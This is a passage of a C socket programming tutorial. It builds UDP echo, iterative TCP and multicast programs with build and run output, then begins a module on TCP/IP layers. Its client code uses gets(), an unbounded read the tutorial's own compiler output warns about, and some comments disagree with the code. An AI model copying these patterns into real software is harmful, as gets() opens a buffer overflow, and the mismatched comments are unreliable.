if(rc < 0)
{
perror("UDP Server - recvfrom() error");
close(sd);
exit(-1);
}
else
printf("UDP Server - recvfrom() is OK...\n");

printf("UDP Server received the following:\n \"%s\" message\n", bufptr);


printf("from port %d and address %s.\n", ntohs(clientaddr.sin_port),
inet_ntoa(clientaddr.sin_addr));

/* Send a reply by using the sendto() function. */


/* In this example, the system echoes the received */
/* data back to the client. */
/************************************************/
/* This example does not use flags that control */
/* the transmission of the data */
/************************************************/
/* Send a reply, just echo the request */
printf("UDP Server replying to the stupid UDP client...\n");
rc = sendto(sd, bufptr, buflen, 0, (struct sockaddr *)&clientaddr, clientaddrlen);
if(rc < 0)
{
perror("UDP server - sendto() error");
close(sd);
exit(-1);
}
else
printf("UDP Server - sendto() is OK...\n");

/* When the data has been sent, close() the */


/* socket descriptor. */
/********************************************/
/* close() the socket descriptor. */
close(sd);
exit(0);
}

- Compile and link the udp server program.

[bodo@bakawali testsocket]$ gcc -g udpserver.c -o udpserver

- Run the program and let it run in the background.

[bodo@bakawali testsocket]$ ./udpserver


UDP server - socket() is OK
UDP server - try to bind...
UDP server - bind() is OK
Using IP 0.0.0.0 and port 3333
UDP server - Listening...

[1]+ Stopped ./udpserver


[bodo@bakawali testsocket]$ bg
[1]+ ./udpserver &
[bodo@bakawali testsocket]$

- Verify the program running.

[bodo@bakawali testsocket]$ ps aux | grep udpserver


bodo 7963 0.0 0.2 2240 324 pts/2 S 12:22 0:00 ./udpserver
bodo 7965 0.0 0.5 4324 648 pts/2 S+ 12:24 0:00 grep udpserver

www.tenouk.com Page 14 of 27
- Verify that the udp server is listening at port 3333 waiting for the client connection.

[bodo@bakawali testsocket]$ netstat -a | grep 3333


udp 0 0 *:3333 *:*
[bodo@bakawali testsocket]$

- Without the client program (next example) you can try telneting the server using port 3333 for testing.
For this program example the following telnet session cannot be established for UDP/connectionless.

[bodo@bakawali testsocket]$ telnet 203.106.93.94 3333


Trying 203.106.93.94...
telnet: connect to address 203.106.93.94: Connection refused
telnet: Unable to connect to remote host: Connection refused

Example: Connecting a UDP client to a server, a client program

- The following example shows how to use UDP to connect a connectionless socket client program to a
server. This program will be used to connect to the previous UDP server.

/****************udpclient.c********************/
/* Header files needed to use the sockets API. */
/* File contain Macro, Data Type and Structure */
/* definitions along with Function prototypes. */
/***********************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

/* Host name of my system, change accordingly */


/* Put the server hostname that run the UDP server program */
/* This will be used as default UDP server for client connection */
#define SERVER "bakawali"
/* Server's port number */
#define SERVPORT 3333
/* Pass in 1 argument (argv[1]) which is either the */
/* address or host name of the server, or */
/* set the server name in the #define SERVER above. */

int main(int argc, char *argv[])


{
/* Variable and structure definitions. */
int sd, rc;
struct sockaddr_in serveraddr, clientaddr;
int serveraddrlen = sizeof(serveraddr);
char server[255];
char buffer[100];
char *bufptr = buffer;
int buflen = sizeof(buffer);
struct hostent *hostp;
memset(buffer, 0x00, sizeof(buffer));
/* 36 characters + terminating NULL */
memcpy(buffer, "Hello! A client request message lol!", 37);

/* The socket() function returns a socket */


/* descriptor representing an endpoint. */
/* The statement also identifies that the */
/* INET (Internet Protocol) address family */
/* with the UDP transport (SOCK_DGRAM) will */
/* be used for this socket. */
/******************************************/
/* get a socket descriptor */
if((sd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
{
perror("UDP Client - socket() error");
/* Just exit lol! */
exit(-1);
}
else
printf("UDP Client - socket() is OK!\n");

www.tenouk.com Page 15 of 27
/* If the hostname/IP of the server is supplied */
/* Or if(argc = 2) */
if(argc > 1)
strcpy(server, argv[1]);
else
{
/*Use default hostname or IP*/
printf("UDP Client - Usage %s <Server hostname or IP>\n", argv[0]);
printf("UDP Client - Using default hostname/IP!\n");

strcpy(server, SERVER);
}

memset(&serveraddr, 0x00, sizeof(struct sockaddr_in));


serveraddr.sin_family = AF_INET;
serveraddr.sin_port = htons(SERVPORT);

if((serveraddr.sin_addr.s_addr = inet_addr(server)) == (unsigned long)INADDR_NONE)


{
/* Use the gethostbyname() function to retrieve */
/* the address of the host server if the system */
/* passed the host name of the server as a parameter. */
/************************************************/
/* get server address */
hostp = gethostbyname(server);
if(hostp == (struct hostent *)NULL)
{
printf("HOST NOT FOUND --> ");
/* h_errno is usually defined */
/* in netdb.h */
printf("h_errno = %d\n", h_errno);
exit(-1);
}
else
{
printf("UDP Client - gethostname() of the server is OK... \n");
printf("Connected to UDP server %s on port %d.\n", server, SERVPORT);
}
memcpy(&serveraddr.sin_addr, hostp->h_addr, sizeof(serveraddr.sin_addr));
}

/* Use the sendto() function to send the data */


/* to the server. */
/************************************************/
/* This example does not use flags that control */
/* the transmission of the data. */
/************************************************/
/* send request to server */
rc = sendto(sd, bufptr, buflen, 0, (struct sockaddr *)&serveraddr, sizeof(serveraddr));
if(rc < 0)
{
perror("UDP Client - sendto() error");
close(sd);
exit(-1);
}
else
printf("UDP Client - sendto() is OK!\n");

printf("Waiting a reply from UDP server...\n");

/* Use the recvfrom() function to receive the */


/* data back from the server. */
/************************************************/
/* This example does not use flags that control */
/* the reception of the data. */
/************************************************/
/* Read server reply. */
/* Note: serveraddr is reset on the recvfrom() function. */
rc = recvfrom(sd, bufptr, buflen, 0, (struct sockaddr *)&serveraddr, &serveraddrlen);

if(rc < 0)
{
perror("UDP Client - recvfrom() error");
close(sd);
exit(-1);
}
else
{
printf("UDP client received the following: \"%s\" message\n", bufptr);

www.tenouk.com Page 16 of 27
printf(" from port %d, address %s\n", ntohs(serveraddr.sin_port),
inet_ntoa(serveraddr.sin_addr));
}

/* When the data has been received, close() */


/* the socket descriptor. */
/********************************************/
/* close() the socket descriptor. */
close(sd);
exit(0);
}

- Compile and link the program.

[bodo@bakawali testsocket]$ gcc -g udpclient.c -o udpclient

- Run the program. Before that make sure the previous program example (the UDP server) is running.

[bodo@bakawali testsocket]$ ./udpclient


UDP Client - socket() is OK!
UDP Client - Usage ./udpclient <Server hostname or IP>
UDP Client - Using default hostname/IP!
UDP Client - gethostname() of the server is OK...
Connected to UDP server bakawali on port 3333.
UDP Client - sendto() is OK!
Waiting a reply from UDP server...
UDP client received the following: "Hello! A client request message lol!"
message
from port 3333, address 203.106.93.94
[bodo@bakawali testsocket]$

- Well, our udp server and client communicated successfully. The following are the expected messages at
server console.

[bodo@bakawali testsocket]$ ./udpserver


UDP server - socket() is OK
UDP server - try to bind...
UDP server - bind() is OK
Using IP 0.0.0.0 and port 3333
UDP server - Listening...
UDP Server - recvfrom() is OK...
UDP Server received the following:
"Hello! A client request message lol!" message
from port 32824 and address 203.106.93.94.
UDP Server replying to the stupid UDP client...
UDP Server - sendto() is OK...
[bodo@bakawali testsocket]$

Connection-oriented server designs

There are a number of ways that you can design a connection-oriented socket server. While additional socket server
designs are possible, the designs provided in the examples below are the most common:

Note: A worker job or a worker thread refers to a process or sub-process (thread) that does data processing by using
the socket descriptor. For example, a worker process accesses a database file to extract and format information for
sending to the remote peer through the socket descriptor and its associated connection. It could then receive a
response or set of data from the remote peer and update the database accordingly.
Depending on the design of the server, the worker usually does not perform the connection "bring-up" or initiation.
This is usually done by the listening or server job or thread. The listening or server job usually passes the descriptor
to the worker job or thread.

Iterative server

In the iterative server example, a single server job handles all incoming connections and all data flows with the
client jobs. When the accept() API completes, the server handles the entire transaction. This is the easiest
server to develop, but it does have a few problems. While the server is handling the request from a given client,
additional clients could be trying to get to the server. These requests fill the listen() backlog and some of them
will be rejected eventually.

www.tenouk.com Page 17 of 27
All of the remaining examples are concurrent server designs. In these designs, the system uses multiple jobs and
threads to handle the incoming connection requests. With a concurrent server there are usually multiple clients that
connect to the server at the same time.

spawn() server and spawn() worker

The spawn() server and spawn() worker example uses the spawn() API to create a new job (often called a
"child job") to handle each incoming request. After spawn() completes, the server can then wait on the
accept() API for the next incoming connection to be received. The only problem with this server design is the
performance overhead of creating a new job each time a connection is received. You can avoid the performance
overhead of the spawn() server example by using pre-started jobs. Instead of creating a new job each time a
connection is received, the incoming connection is given to a job that is already active. If the child job is already
active, the sendmsg() and recvmsg() APIs.

sendmsg() server and recvmsg() worker

Servers that use sendmsg() and recvmsg() APIs to pass descriptors remain unhindered during heavy activity.
They do not need to know which worker job is going to handle each incoming connection. When a server calls
sendmsg(), the descriptor for the incoming connection and any control data are put in an internal queue for the
AF_UNIX socket. When a worker job becomes available, it calls recvmsg() and receives the first descriptor and
the control data that was in the queue.
An example of how you can use the sendmsg() API to pass a descriptor to a job that does not exist, a server can
do the following:

1. Use the socketpair() API to create a pair of AF_UNIX sockets.


2. Use the sendmsg() API to send a descriptor over one of the AF_UNIX sockets created by
socketpair().
3. Call spawn() to create a child job that inherits the other end of the socket pair.

The child job calls recvmsg() to receive the descriptor that the server passed. The child job was not active when
the server called sendmsg(). The sendmsg() and recvmsg() APIs are extremely flexible. You can use these
APIs to send data buffers, descriptors, or both.

Multiple accept() servers and multiple accept() workers

In the previous examples, the worker job did not get involved until after the server received the incoming connection
request. The multiple accept() servers and multiple accept() workers example of the system turns each of
the worker jobs into an iterative server. The server job still calls the socket(), bind(), and listen() APIs.
When the listen() call completes, the server creates each of the worker jobs and gives a listening socket to each
one of them. All of the worker jobs then call the accept() API. When a client tries to connect to the server, only
one accept() call completes, and that worker handles the connection. This type of design removes the need to
give the incoming connection to a worker job, and saves the performance overhead that is associated with that
operation. As a result, this design has the best performance. A worker job or a worker thread refers to a process or
sub-process (thread) that does data processing by using the socket descriptor. For example, a worker process
accesses a database file to extract and format information for sending to the remote peer through the socket
descriptor and its associated connection. It could then receive a response or set of data from the remote peer and
update the database accordingly.
Depending on the design of the server, the worker usually does not perform the connection "bring-up" or initiation.
This is usually done by the listening or server job or thread. The listening or server job usually passes the descriptor
to the worker job or thread.

Example: Writing an iterative server program

- This example shows how you can write an iterative server program. The following simple figure
illustrates how the server and client jobs interact when the system used the iterative server design.

www.tenouk.com Page 18 of 27
Figure 2: An example of socket APIs used for iterative server design.

- In the following example of the server program, the number of incoming connections that the server
allows depends on the first parameter that is passed to the server. The default is for the server to allow
only one connection.

/**** iserver.c ****/


#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define SERVER_PORT 12345

/* Run with a number of incoming connection as argument */


int main(int argc, char *argv[])
{
int i, len, num, rc;
int listen_sd, accept_sd;
/* Buffer for data */
char buffer[100];
struct sockaddr_in addr;

/* If an argument was specified, use it to */


/* control the number of incoming connections */
if(argc >= 2)
num = atoi(argv[1]);
/* Prompt some message */
else
{
printf("Usage: %s <The_number_of_client_connection else 1 will be used>\n", argv[0]);
num = 1;
}

/* Create an AF_INET stream socket to receive */


/* incoming connections on */
listen_sd = socket(AF_INET, SOCK_STREAM, 0);
if(listen_sd < 0)
{
perror("Iserver - socket() error");
exit(-1);
}
else

www.tenouk.com Page 19 of 27
printf("Iserver - socket() is OK\n");

printf("Binding the socket...\n");


/* Bind the socket */
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(SERVER_PORT);
rc = bind(listen_sd, (struct sockaddr *)&addr, sizeof(addr));
if(rc < 0)
{
perror("Iserver - bind() error");
close(listen_sd);
exit(-1);
}
else
printf("Iserver - bind() is OK\n");

/* Set the listen backlog */


rc = listen(listen_sd, 5);
if(rc < 0)
{
perror("Iserver - listen() error");
close(listen_sd);
exit(-1);
}
else
printf("Iserver - listen() is OK\n");

/* Inform the user that the server is ready */


printf("The Iserver is ready!\n");
/* Go through the loop once for each connection */
for(i=0; i < num; i++)
{
/* Wait for an incoming connection */
printf("Iteration: #%d\n", i+1);
printf(" waiting on accept()\n");
accept_sd = accept(listen_sd, NULL, NULL);
if(accept_sd < 0)
{
perror("Iserver - accept() error");
close(listen_sd);
exit(-1);
}
else
printf("accept() is OK and completed successfully!\n");

/* Receive a message from the client */


printf("I am waiting client(s) to send message(s) to me...\n");
rc = recv(accept_sd, buffer, sizeof(buffer), 0);
if(rc <= 0)
{
perror("Iserver - recv() error");
close(listen_sd);
close(accept_sd);
exit(-1);
}
else
printf("The message from client: \"%s\"\n", buffer);
/* Echo the data back to the client */
printf("Echoing it back to client...\n");
len = rc;
rc = send(accept_sd, buffer, len, 0);
if(rc <= 0)
{
perror("Iserver - send() error");
close(listen_sd);
close(accept_sd);
exit(-1);
}
else
printf("Iserver - send() is OK.\n");
/* Close the incoming connection */
close(accept_sd);
}
/* Close the listen socket */
close(listen_sd);
return 0;
}

www.tenouk.com Page 20 of 27
- Compile and link

[bodo@bakawali testsocket]$ gcc -g iserver.c -o iserver

- Run the server program.

[bodo@bakawali testsocket]$ ./iserver


Usage: ./iserver <The_number_of_client_connection else 1 will be used>
Iserver - socket() is OK
Binding the socket...
Iserver - bind() is OK
Iserver - listen() is OK
The Iserver is ready!
Iteration: #1
waiting on accept()

- The server is waiting the connections from clients. The following program example is a client program.

Example: Connection-oriented common client

- This example provides the code for the client job. The client job does a socket(), connect(),
send(), recv(), and close().
- The client job is not aware that the data buffer it sent and received is going to a worker job rather than to
the server.
- This client job program can also be used to work with other previous connection-oriented server
program examples.

/****** comclient.c ******/


#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
/*Our server port as in the previous program */
#define SERVER_PORT 12345

main (int argc, char *argv[])


{
int len, rc;
int sockfd;
char send_buf[100];
char recv_buf[100];
struct sockaddr_in addr;

if(argc !=2)
{
printf("Usage: %s <Server_name or Server_IP_address>\n", argv[0]);
exit (-1);
}
/* Create an AF_INET stream socket */
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd < 0)
{
perror("client - socket() error");
exit(-1);
}
else
printf("client - socket() is OK.\n");
/* Initialize the socket address structure */
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(SERVER_PORT);
/* Connect to the server */
rc = connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
if(rc < 0)
{
perror("client - connect() error");
close(sockfd);
exit(-1);
}
else
{
printf("client - connect() is OK.\n");
printf("connect() completed successfully.\n");

www.tenouk.com Page 21 of 27
printf("Connection with %s using port %d established!\n", argv[1], SERVER_PORT);
}

/* Enter data buffer that is to be sent */


printf("Enter message to be sent to server:\n");
gets(send_buf);
/* Send data buffer to the worker job */
len = send(sockfd, send_buf, strlen(send_buf) + 1, 0);
if(len != strlen(send_buf) + 1)
{
perror("client - send() error");
close(sockfd);
exit(-1);
}
else
printf("client - send() is OK.\n");
printf("%d bytes sent.\n", len);
/* Receive data buffer from the worker job */
len = recv(sockfd, recv_buf, sizeof(recv_buf), 0);
if(len != strlen(send_buf) + 1)
{
perror("client - recv() error");
close(sockfd);
exit(-1);
}
else
{
printf("client - recv() is OK.\n");
printf("The sent message: \"%s\" successfully received by server and echoed back to
client!\n", recv_buf);
printf("%d bytes received.\n", len);
}
/* Close the socket */
close(sockfd);
return 0;
}

- Compile and link

[bodo@bakawali testsocket]$ gcc -g comclient.c -o comclient


/tmp/ccG1hQSw.o(.text+0x171): In function `main':
/home/bodo/testsocket/comclient.c:53: warning: the `gets' function is dangerous
and should not be used.

- Run the program and make sure you run the server program as in the previous program example.

[bodo@bakawali testsocket]$ ./comclient


Usage: ./comclient <Server_name or Server_IP_address>
[bodo@bakawali testsocket]$ ./comclient bakawali
client - socket() is OK.
client - connect() is OK.
connect() completed successfully.
Connection with bakawali using port 12345 established!
Enter message to be sent to server:
This is a test message from a stupid client lol!
client - send() is OK.
49 bytes sent.
client - recv() is OK.
The sent message: "This is a test message from a stupid client lol!"
successfully received by server and echoed back to client!
49 bytes received.
[bodo@bakawali testsocket]$

- And the message at the server console.

[bodo@bakawali testsocket]$ ./iserver


Usage: ./iserver <The_number_of_client_connection else 1 will be used>
Iserver - socket() is OK
Binding the socket...
Iserver - bind() is OK
Iserver - listen() is OK
The Iserver is ready!
Iteration: #1
waiting on accept()

www.tenouk.com Page 22 of 27
accept() is OK and completed successfully!
I am waiting client(s) to send message(s) to me...
The message from client: "This is a test message from a stupid client lol!"
Echoing it back to client...
Iserver - send() is OK.
[bodo@bakawali testsocket]$

- Let try more than 1 connection. Firstly, run the server.

[bodo@bakawali testsocket]$ ./iserver 2


Iserver - socket() is OK
Binding the socket...
Iserver - bind() is OK
Iserver - listen() is OK
The Iserver is ready!
Iteration: #1
waiting on accept()

- Then run the client twice.

[bodo@bakawali testsocket]$ ./comclient bakawali


client - socket() is OK.
client - connect() is OK.
connect() completed successfully.
Connection with bakawali using port 12345 established!
Enter message to be sent to server:
Test message #1
client - send() is OK.
16 bytes sent.
client - recv() is OK.
The sent message: "Test message #1" successfully received by server and echoed
back to client!
16 bytes received.
[bodo@bakawali testsocket]$ ./comclient bakawali
client - socket() is OK.
client - connect() is OK.
connect() completed successfully.
Connection with bakawali using port 12345 established!
Enter message to be sent to server:
Test message #2
client - send() is OK.
16 bytes sent.
client - recv() is OK.
The sent message: "Test message #2" successfully received by server and echoed
back to client!
16 bytes received.
[bodo@bakawali testsocket]$

- The message on the server console.

[bodo@bakawali testsocket]$ ./iserver 2


Iserver - socket() is OK
Binding the socket...
Iserver - bind() is OK
Iserver - listen() is OK
The Iserver is ready!
Iteration: #1
waiting on accept()
accept() is OK and completed successfully!
I am waiting client(s) to send message(s) to me...
The message from client: "Test message #1"
Echoing it back to client...
Iserver - send() is OK.
Iteration: #2
waiting on accept()
accept() is OK and completed successfully!
I am waiting client(s) to send message(s) to me...
The message from client: "Test message #2"
Echoing it back to client...
Iserver - send() is OK.

www.tenouk.com Page 23 of 27
[bodo@bakawali testsocket]$

Example: Sending and receiving a multicast datagram

- IP multicasting provides the capability for an application to send a single IP datagram that a group of
hosts in a network can receive. The hosts that are in the group may reside on a single subnet or may be
on different subnets that have been connected by multicast capable routers.
- Hosts may join and leave groups at any time. There are no restrictions on the location or number of
members in a host group. A class D Internet address in the range 224.0.0.1 to 239.255.255.255
identifies a host group.
- An application program can send or receive multicast datagrams by using the socket() API and
connectionless SOCK_DGRAM type sockets. Each multicast transmission is sent from a single network
interface, even if the host has more than one multicasting-capable interface.
- It is a one-to-many transmission method. You cannot use connection-oriented sockets of type
SOCK_STREAM for multicasting.
- When a socket of type SOCK_DGRAM is created, an application can use the setsockopt() function
to control the multicast characteristics associated with that socket. The setsockopt() function
accepts the following IPPROTO_IP level flags:

1. IP_ADD_MEMBERSHIP: Joins the multicast group specified.


2. IP_DROP_MEMBERSHIP: Leaves the multicast group specified.
3. IP_MULTICAST_IF: Sets the interface over which outgoing multicast datagrams are sent.
4. IP_MULTICAST_TTL: Sets the Time To Live (TTL) in the IP header for outgoing
multicast datagrams. By default it is set to 1. TTL of 0 are not transmitted on any sub-
network. Multicast datagrams with a TTL of greater than 1 may be delivered to more than one
sub-network, if there are one or more multicast routers attached to the first sub-network.
5. IP_MULTICAST_LOOP: Specifies whether or not a copy of an outgoing multicast datagram
is delivered to the sending host as long as it is a member of the multicast group.

- The following examples enable a socket to send and receive multicast datagrams. The steps needed to
send a multicast datagram differ from the steps needed to receive a multicast datagram.

Example: Sending a multicast datagram, a server program

- The following example enables a socket to perform the steps listed below and to send multicast
datagrams:

1. Create an AF_INET, SOCK_DGRAM type socket.


2. Initialize a sockaddr_in structure with the destination group IP address and port number.
3. Set the IP_MULTICAST_LOOP socket option according to whether the sending system should
receive a copy of the multicast datagrams that are transmitted.
4. Set the IP_MULTICAST_IF socket option to define the local interface over which you want
to send the multicast datagrams.
5. Send the datagram.

[bodo@bakawali testsocket]$ cat mcastserver.c


/* Send Multicast Datagram code example. */
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>

struct in_addr localInterface;


struct sockaddr_in groupSock;
int sd;
char databuf[1024] = "Multicast test message lol!";
int datalen = sizeof(databuf);

int main (int argc, char *argv[])


{
/* Create a datagram socket on which to send. */
sd = socket(AF_INET, SOCK_DGRAM, 0);
if(sd < 0)
{
perror("Opening datagram socket error");

www.tenouk.com Page 24 of 27
exit(1);
}
else
printf("Opening the datagram socket...OK.\n");

/* Initialize the group sockaddr structure with a */


/* group address of 225.1.1.1 and port 5555. */
memset((char *) &groupSock, 0, sizeof(groupSock));
groupSock.sin_family = AF_INET;
groupSock.sin_addr.s_addr = inet_addr("226.1.1.1");
groupSock.sin_port = htons(4321);

/* Disable loopback so you do not receive your own datagrams.


{
char loopch = 0;
if(setsockopt(sd, IPPROTO_IP, IP_MULTICAST_LOOP, (char *)&loopch, sizeof(loopch)) < 0)
{
perror("Setting IP_MULTICAST_LOOP error");
close(sd);
exit(1);
}
else
printf("Disabling the loopback...OK.\n");
}
*/

/* Set local interface for outbound multicast datagrams. */


/* The IP address specified must be associated with a local, */
/* multicast capable interface. */
localInterface.s_addr = inet_addr("203.106.93.94");
if(setsockopt(sd, IPPROTO_IP, IP_MULTICAST_IF, (char *)&localInterface,
sizeof(localInterface)) < 0)
{
perror("Setting local interface error");
exit(1);
}
else
printf("Setting the local interface...OK\n");
/* Send a message to the multicast group specified by the*/
/* groupSock sockaddr structure. */
/*int datalen = 1024;*/
if(sendto(sd, databuf, datalen, 0, (struct sockaddr*)&groupSock, sizeof(groupSock)) < 0)
{perror("Sending datagram message error");}
else
printf("Sending datagram message...OK\n");

/* Try the re-read from the socket if the loopback is not disable
if(read(sd, databuf, datalen) < 0)
{
perror("Reading datagram message error\n");
close(sd);
exit(1);
}
else
{
printf("Reading datagram message from client...OK\n");
printf("The message is: %s\n", databuf);
}
*/
return 0;
}

- Compile and link the program.

[bodo@bakawali testsocket]$ gcc -g mcastserver.c -o mcastserver

- Before running this multicaster program, you have to run the client program first as in the following.

Example: Receiving a multicast datagram, a client

- The following example enables a socket to perform the steps listed below and to receive multicast
datagrams:

1. Create an AF_INET, SOCK_DGRAM type socket.


2. Set the SO_REUSEADDR option to allow multiple applications to receive datagrams that are
destined to the same local port number.

www.tenouk.com Page 25 of 27
3. Use the bind() verb to specify the local port number. Specify the IP address as
INADDR_ANY in order to receive datagrams that are addressed to a multicast group.
4. Use the IP_ADD_MEMBERSHIP socket option to join the multicast group that receives the
datagrams. When joining a group, specify the class D group address along with the IP address
of a local interface. The system must call the IP_ADD_MEMBERSHIP socket option for each
local interface receiving the multicast datagrams.
5. Receive the datagram.

/* Receiver/client multicast Datagram example. */


#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>

struct sockaddr_in localSock;


struct ip_mreq group;
int sd;
int datalen;
char databuf[1024];

int main(int argc, char *argv[])


{
/* Create a datagram socket on which to receive. */
sd = socket(AF_INET, SOCK_DGRAM, 0);
if(sd < 0)
{
perror("Opening datagram socket error");
exit(1);
}
else
printf("Opening datagram socket....OK.\n");

/* Enable SO_REUSEADDR to allow multiple instances of this */


/* application to receive copies of the multicast datagrams. */
{
int reuse = 1;
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&reuse, sizeof(reuse)) < 0)
{
perror("Setting SO_REUSEADDR error");
close(sd);
exit(1);
}
else
printf("Setting SO_REUSEADDR...OK.\n");
}

/* Bind to the proper port number with the IP address */


/* specified as INADDR_ANY. */
memset((char *) &localSock, 0, sizeof(localSock));
localSock.sin_family = AF_INET;
localSock.sin_port = htons(4321);
localSock.sin_addr.s_addr = INADDR_ANY;
if(bind(sd, (struct sockaddr*)&localSock, sizeof(localSock)))
{
perror("Binding datagram socket error");
close(sd);
exit(1);
}
else
printf("Binding datagram socket...OK.\n");

/* Join the multicast group 226.1.1.1 on the local 203.106.93.94 */


/* interface. Note that this IP_ADD_MEMBERSHIP option must be */
/* called for each local interface over which the multicast */
/* datagrams are to be received. */
group.imr_multiaddr.s_addr = inet_addr("226.1.1.1");
group.imr_interface.s_addr = inet_addr("203.106.93.94");
if(setsockopt(sd, IPPROTO_IP, IP_ADD_MEMBERSHIP, (char *)&group, sizeof(group)) < 0)
{
perror("Adding multicast group error");
close(sd);
exit(1);
}
else
printf("Adding multicast group...OK.\n");

www.tenouk.com Page 26 of 27
/* Read from the socket. */
datalen = sizeof(databuf);
if(read(sd, databuf, datalen) < 0)
{
perror("Reading datagram message error");
close(sd);
exit(1);
}
else
{
printf("Reading datagram message...OK.\n");
printf("The message from multicast server is: \"%s\"\n", databuf);
}
return 0;
}

- Compile and link.

[bodo@bakawali testsocket]$ gcc -g mcastclient.c -o mcastclient

- Run the client program.

[bodo@bakawali testsocket]$ ./mcastclient


Opening datagram socket....OK.
Setting SO_REUSEADDR...OK.
Binding datagram socket...OK.
Adding multicast group...OK.

- Then run the server program.

[bodo@bakawali testsocket]$ ./mcastserver


Opening the datagram socket...OK.
Setting the local interface...OK
Sending datagram message...OK
[bodo@bakawali testsocket]$

- The messages on the client console are shown below.

[bodo@bakawali testsocket]$ ./mcastclient


Opening datagram socket....OK.
Setting SO_REUSEADDR...OK.
Binding datagram socket...OK.
Adding multicast group...OK.
Reading datagram message...OK.
The message from multicast server is: "Multicast test message lol!"
[bodo@bakawali testsocket]$

Continue on next Module…TCP/IP and RAW socket, more program examples.

-----------------------------------End Part III------------------------------------


---www.tenouk.com---

Further reading and digging:

1. Check the best selling C/C++, Networking, Linux and Open Source books at Amazon.com.
2. Broadcasting.
3. Telephony.

www.tenouk.com Page 27 of 27
MODULE 42
NETWORK PROGRAMMING
SOCKET PART IV
Advanced TCP/IP and RAW SOCKET

My Training Period: hours

Note:
This is a continuation from Part III, Module41. Working program examples compiled using gcc, tested using the
public IPs, run on Fedora 3, with several times of update, as root or suid 0. The Fedora machine used for the testing
having the "No Stack Execute" disabled and the SELinux set to default configuration.
This Module will concentrate on the TCP/IP stack and will try to dig deeper till the packet level.

Abilities

▪ Able to understand the 7 layers OSI stack.


▪ Able to understand the 4 layers TCP/IP stack/suite/layer.
▪ Able to understand protocols in TCP/IP stack.
▪ Able to find and appreciate the RFCs and Standards.
▪ Able to understand and use the RAW socket (vs cooked socket).
▪ Able to understand and use for good purposes of the useful network tools that can be developed
using RAW socket.

Introduction

In the previous Modules we just dealt with the generic TCP/UDP programs. It is not so usable without
implementing other protocols at other layers of the TCP/IP suite. In this Module we will investigate deeper into the
TCP/IP suite, their protocols, header formats and at the end we will try to construct our own packet using RAW
packet. Let recall some of the information that we have already covered in the previous Modules and then proceed
on to the details. The following figure shows various TCP/IP and other protocols reside in the original OSI model.

7 Application e.g. HTTP, SMTP, SNMP, FTP, Telnet, SSH and Scp, NFS, RTSP etc.
6 Presentation e.g. XDR, ASN.1, SMB, AFP etc.
5 Session e.g. TLS, SSH, ISO 8327 / CCITT X.225, RPC, NetBIOS, ASP etc.
4 Transport e.g. TCP, UDP, RTP, SCTP, SPX, ATP etc.
e.g. IP/IPv6, ICMP, IGMP, X.25, CLNP, ARP, RARP, BGP, OSPF, RIP,
3 Network IPX, DDP etc.
e.g. Ethernet, Token ring, PPP, HDLC, Frame relay, ISDN, ATM,
2 Data Link 802.11 Wi-Fi, FDDI etc.
1 Physical e.g. wire, radio, fiber optic etc.

Figure 1: OSI layer.

As discussed in the previous Module, in implementation, the de facto standard used is the TCP/IP. This TCP/IP
term should be general and here we will study the detail of the TCP/IP.

TCP/IP

The TCP/IP suite attempts to create a heterogeneous network with open protocols that are independent of operating
system and architectural difference. TCP/IP protocols are available to everyone, and are developed and changed by
consensus, not by one manufacturer. Everyone is free to develop products to meet these open protocol
specifications. Most information about TCP/IP is published as Request For Comments (RFC), which contain the
latest version of the specifications of all TCP/IP protocols standard. The following figure shows the 4 layers of
TCP/IP suite.

BGP, FTP, HTTP, HTTPS, IMAP, IRC, NNTP, POP3,


4
Application RTP, SIP, SMTP, SNMP, SSH, SSL, Telnet, UUCP, Finger,
layer Gopher, DNS, RIP, Traceroute, Whois, IMAP/IMAP4, Ping,
RADIUS, BGP etc.
3 Transport layer. DCCP, OSPF, SCTP, TCP, UDP, ICMP etc.
2 Network/Internet layer. IPv4, IPv6, ICMP, ARP, IGMP etc

1
Physical/ Data Ethernet, Wireless (WAP, CDPD, 802.11, Wi-Fi), Token
Link layer. ring, FDDI, PPP, ISDN, Frame Relay, ATM, SONET/SDH,

www.tenouk.com Page 1 of 19
xDSL, SLIP etc.
RS-232, EIA-422, RS-449, EIA-485 etc.

Figure 2: TCP/IP stack/layer/suite.

Commonly, the top three layers of the OSI model (Application, Presentation and Session) are considered as a single
Application layer in the TCP/IP suite and the bottom two layers as well considered as a single Network Access
layer. Because the TCP/IP suite has no unified session layer on which higher layers are built, these functions are
typically carried out (or ignored) by individual applications. The most notable difference between TCP/IP and OSI
models is the Application layer, as TCP/IP integrates a few steps of the OSI model into its Application layer. A
simplified TCP/IP interpretation of the stack is shown below:

e.g. HTTP, FTP, DNS.


(Routing protocols like BGP and RIP, which for a variety of
Application reasons run over TCP and UDP respectively, may also be
considered part of the Network layer)
e.g. TCP, UDP, RTP, SCTP.
Transport (Routing protocols like OSPF, which run over IP, may also be
considered part of the Network layer)
For TCP/IP this is the Internet Protocol (IP).
(Required protocols like ICMP and IGMP run over IP, but may
Network/Internet still be considered part of the network layer; ARP does not
run over IP).
Physical/ Data Link/ e.g. Ethernet, Token ring, etc.
Network Access e.g. physical media, and encoding techniques, T1, E1 etc.

Figure 3: Brief of the TCP/IP stack functions.

The basic function each of the TCP/IP layer is illustrated in the following figure.

Figure 4: Another TCP/IP basic stack functionalities.

A shown in figure 5, the four-layered structure of TCP/IP is seen in the way data handled as it passes down the
protocol stack from the Application layer to the underlying physical network. Each layer in the stack adds control
